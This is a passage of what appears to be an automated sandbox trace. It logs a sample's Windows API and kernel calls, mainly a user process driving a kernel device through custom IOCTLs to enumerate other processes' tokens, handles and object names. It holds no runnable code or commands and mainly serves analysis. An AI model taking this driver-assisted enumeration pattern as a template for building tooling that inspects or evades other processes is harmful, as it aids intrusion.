lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.993] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa80020287d0, HandleInformation=0x0) returned 0x0 [0132.993] ObOpenObjectByPointer (in: Object=0xfffffa80020287d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.993] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x12 [0132.993] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.993] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.993] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.993] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.993] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.994] CloseHandle (hObject=0xc8) returned 1 [0132.995] CloseHandle (hObject=0xc0) returned 1 [0132.995] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.995] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.995] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.995] PsAcquireProcessExitSynchronization () returned 0x0 [0132.995] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880050005d0) [0132.995] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002028070, HandleInformation=0x0) returned 0x0 [0132.995] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.995] PsReleaseProcessExitSynchronization () returned 0x2 [0132.995] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0132.995] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800231d7c4, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800231d7c4, ReturnLength=0xfffff88005000508) returned 0x0 [0132.995] ObfDereferenceObject (Object=0xfffffa8002028070) returned 0x1 [0132.995] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.995] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.995] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.995] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x86, lpOverlapped=0x0) returned 1 [0132.995] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.995] PsAcquireProcessExitSynchronization () returned 0x0 [0132.995] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880050005d0) [0132.995] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800202e3a0, HandleInformation=0x0) returned 0x0 [0132.995] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.995] PsReleaseProcessExitSynchronization () returned 0x2 [0132.995] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0132.995] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800208f044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800208f044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.995] ObfDereferenceObject (Object=0xfffffa800202e3a0) returned 0x1 [0132.995] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.995] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.995] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.995] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.996] PsLookupProcessByProcessId (in: ProcessId=0x950, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.996] PsAcquireProcessExitSynchronization () returned 0x0 [0132.996] KeStackAttachProcess (in: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa80020287d0, ApcState=0xfffff880050005d0) [0132.996] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.996] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.996] PsReleaseProcessExitSynchronization () returned 0x2 [0132.996] ObfDereferenceObject (Object=0xfffffa80020287d0) returned 0x10 [0132.996] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80025fb044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80025fb044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.996] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.996] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.996] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.996] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x960) returned 0xc0 [0132.996] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.996] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002042b30, HandleInformation=0x0) returned 0x0 [0132.996] ObOpenObjectByPointer (in: Object=0xfffffa8002042b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.996] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x12 [0132.996] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.996] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.996] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.996] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.996] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0132.998] CloseHandle (hObject=0xc8) returned 1 [0132.998] CloseHandle (hObject=0xc0) returned 1 [0132.998] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.998] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0132.998] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.998] PsAcquireProcessExitSynchronization () returned 0x0 [0132.998] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880050005d0) [0132.998] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800203d8f0, HandleInformation=0x0) returned 0x0 [0132.998] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.998] PsReleaseProcessExitSynchronization () returned 0x2 [0132.998] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0132.998] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002026044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002026044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.998] ObfDereferenceObject (Object=0xfffffa800203d8f0) returned 0x1 [0132.998] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.998] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.998] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.998] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0132.998] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.998] PsAcquireProcessExitSynchronization () returned 0x0 [0132.998] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880050005d0) [0132.998] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002043a20, HandleInformation=0x0) returned 0x0 [0132.998] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.998] PsReleaseProcessExitSynchronization () returned 0x2 [0132.998] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0132.998] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003994044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003994044, ReturnLength=0xfffff88005000508) returned 0x0 [0132.998] ObfDereferenceObject (Object=0xfffffa8002043a20) returned 0x1 [0132.998] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.998] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.999] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0132.999] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0132.999] PsLookupProcessByProcessId (in: ProcessId=0x960, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0132.999] PsAcquireProcessExitSynchronization () returned 0x0 [0132.999] KeStackAttachProcess (in: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002042b30, ApcState=0xfffff880050005d0) [0132.999] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0132.999] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0132.999] PsReleaseProcessExitSynchronization () returned 0x2 [0132.999] ObfDereferenceObject (Object=0xfffffa8002042b30) returned 0x10 [0132.999] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa8002033044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa8002033044, ReturnLength=0xfffff88005000550) returned 0x0 [0132.999] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0132.999] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.999] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0132.999] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x970) returned 0xc0 [0132.999] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0132.999] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa800205a7d0, HandleInformation=0x0) returned 0x0 [0132.999] ObOpenObjectByPointer (in: Object=0xfffffa800205a7d0, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0132.999] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x12 [0132.999] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0132.999] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0132.999] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0132.999] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0132.999] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.001] CloseHandle (hObject=0xc8) returned 1 [0133.001] CloseHandle (hObject=0xc0) returned 1 [0133.001] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.001] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.001] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.001] PsAcquireProcessExitSynchronization () returned 0x0 [0133.001] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880050005d0) [0133.001] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002059100, HandleInformation=0x0) returned 0x0 [0133.001] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.001] PsReleaseProcessExitSynchronization () returned 0x2 [0133.001] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0133.001] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8003a75044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8003a75044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.001] ObfDereferenceObject (Object=0xfffffa8002059100) returned 0x1 [0133.001] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.001] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.001] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.001] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x78, lpOverlapped=0x0) returned 1 [0133.001] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.001] PsAcquireProcessExitSynchronization () returned 0x0 [0133.001] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880050005d0) [0133.001] ObReferenceObjectByHandle (in: Handle=0x1c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa800206a400, HandleInformation=0x0) returned 0x0 [0133.001] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.001] PsReleaseProcessExitSynchronization () returned 0x2 [0133.001] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0133.001] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa800226b044, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa800226b044, ReturnLength=0xfffff88005000508) returned 0x0 [0133.001] ObfDereferenceObject (Object=0xfffffa800206a400) returned 0x1 [0133.001] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.002] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.002] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.002] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x8, lpOverlapped=0x0) returned 1 [0133.002] PsLookupProcessByProcessId (in: ProcessId=0x970, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.002] PsAcquireProcessExitSynchronization () returned 0x0 [0133.002] KeStackAttachProcess (in: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa800205a7d0, ApcState=0xfffff880050005d0) [0133.002] ObReferenceObjectByHandle (in: Handle=0x64, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffff8a00109ffc0, HandleInformation=0x0) returned 0x0 [0133.002] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.002] PsReleaseProcessExitSynchronization () returned 0x2 [0133.002] ObfDereferenceObject (Object=0xfffffa800205a7d0) returned 0x10 [0133.002] ObQueryNameString (in: Object=0xfffff8a00109ffc0, ObjectNameInfo=0xfffffa80038df044, Length=0x800, ReturnLength=0xfffff88005000550 | out: ObjectNameInfo=0xfffffa80038df044, ReturnLength=0xfffff88005000550) returned 0x0 [0133.002] ObfDereferenceObject (Object=0xfffff8a00109ffc0) returned 0x4b [0133.002] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.002] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.002] OpenProcess (dwDesiredAccess=0x400, bInheritHandle=0, dwProcessId=0x980) returned 0xc0 [0133.002] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x8335000c, lpInBuffer=0x12d3d0*, nInBufferSize=0x8, lpOutBuffer=0x12d3d8, nOutBufferSize=0x8, lpBytesReturned=0x12d360, lpOverlapped=0x0 | out: lpInBuffer=0x12d3d0*, lpOutBuffer=0x12d3d8*, lpBytesReturned=0x12d360*=0x8, lpOverlapped=0x0) returned 1 [0133.002] ObReferenceObjectByHandle (in: Handle=0xc0, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0x1, Object=0xfffff88005000668, HandleInformation=0x0 | out: Object=0xfffff88005000668*=0xfffffa8002087b30, HandleInformation=0x0) returned 0x0 [0133.002] ObOpenObjectByPointer (in: Object=0xfffffa8002087b30, HandleAttributes=0x200, PassedAccessState=0x0, DesiredAccess=0x10000000, ObjectType=0x0, AccessMode=0x0, Handle=0xfffff88005000670 | out: Handle=0xfffff88005000670*=0xffffffff800005f0) returned 0x0 [0133.002] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x12 [0133.002] ZwOpenProcessToken (in: ProcessHandle=0xffffffff800005f0, DesiredAccess=0x8, TokenHandle=0xfffffa80089f71c0 | out: TokenHandle=0xfffffa80089f71c0*=0xc8) returned 0x0 [0133.002] ZwClose (Handle=0xffffffff800005f0) returned 0x0 [0133.002] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.002] GetTokenInformation (in: TokenHandle=0xc8, TokenInformationClass=0x1, TokenInformation=0x12d3f0, TokenInformationLength=0x800, ReturnLength=0x12d3c8 | out: TokenInformation=0x12d3f0, ReturnLength=0x12d3c8) returned 1 [0133.002] LookupAccountSidW (in: lpSystemName="", Sid=0x12d400*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x25)), Name=0x12ecb0, cchName=0x12d3c0, ReferencedDomainName=0x12e690, cchReferencedDomainName=0x12e440, peUse=0x12d3e0 | out: Name="5p5NrGJn0jS HALPmcxz", cchName=0x12d3c0, ReferencedDomainName="XDUWTFONO", cchReferencedDomainName=0x12e440, peUse=0x12d3e0) returned 1 [0133.004] CloseHandle (hObject=0xc8) returned 1 [0133.004] CloseHandle (hObject=0xc0) returned 1 [0133.004] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.004] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x48, lpOverlapped=0x0) returned 1 [0133.004] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.004] PsAcquireProcessExitSynchronization () returned 0x0 [0133.004] KeStackAttachProcess (in: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880050005d0 | out: PROCESS=0xfffffa8002087b30, ApcState=0xfffff880050005d0) [0133.004] ObReferenceObjectByHandle (in: Handle=0x10, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa80039a2001, Object=0xfffff88005000548, HandleInformation=0x0 | out: Object=0xfffff88005000548*=0xfffffa8002085ae0, HandleInformation=0x0) returned 0x0 [0133.004] KeUnstackDetachProcess (ApcState=0xfffff880050005d0) [0133.004] PsReleaseProcessExitSynchronization () returned 0x2 [0133.004] ObfDereferenceObject (Object=0xfffffa8002087b30) returned 0x10 [0133.004] ObQueryNameString (in: Object=0xfffffa800282fcd0, ObjectNameInfo=0xfffffa8002512544, Length=0x800, ReturnLength=0xfffff88005000508 | out: ObjectNameInfo=0xfffffa8002512544, ReturnLength=0xfffff88005000508) returned 0x0 [0133.004] ObfDereferenceObject (Object=0xfffffa8002085ae0) returned 0x1 [0133.004] IofCompleteRequest (Irp=0xfffffa8003313aa0, PriorityBoost=0) [0133.004] HeapFree (in: hHeap=0x190000, dwFlags=0x0, lpMem=0x1d0b20 | out: hHeap=0x190000) returned 1 [0133.004] RtlAllocateHeap (HeapHandle=0x190000, Flags=0x0, Size=0x808) returned 0x1d0b20 [0133.004] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1d0b20, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1d0b20*, lpBytesReturned=0x12d450*=0x92, lpOverlapped=0x0) returned 1 [0133.004] PsLookupProcessByProcessId (in: ProcessId=0x980, Process=0xfffff88005000558 | out: Process=0xfffff88005000558) returned 0x0 [0133.004] PsAcquireProcessExitSynchronization () returned 0x0 [0133.004] 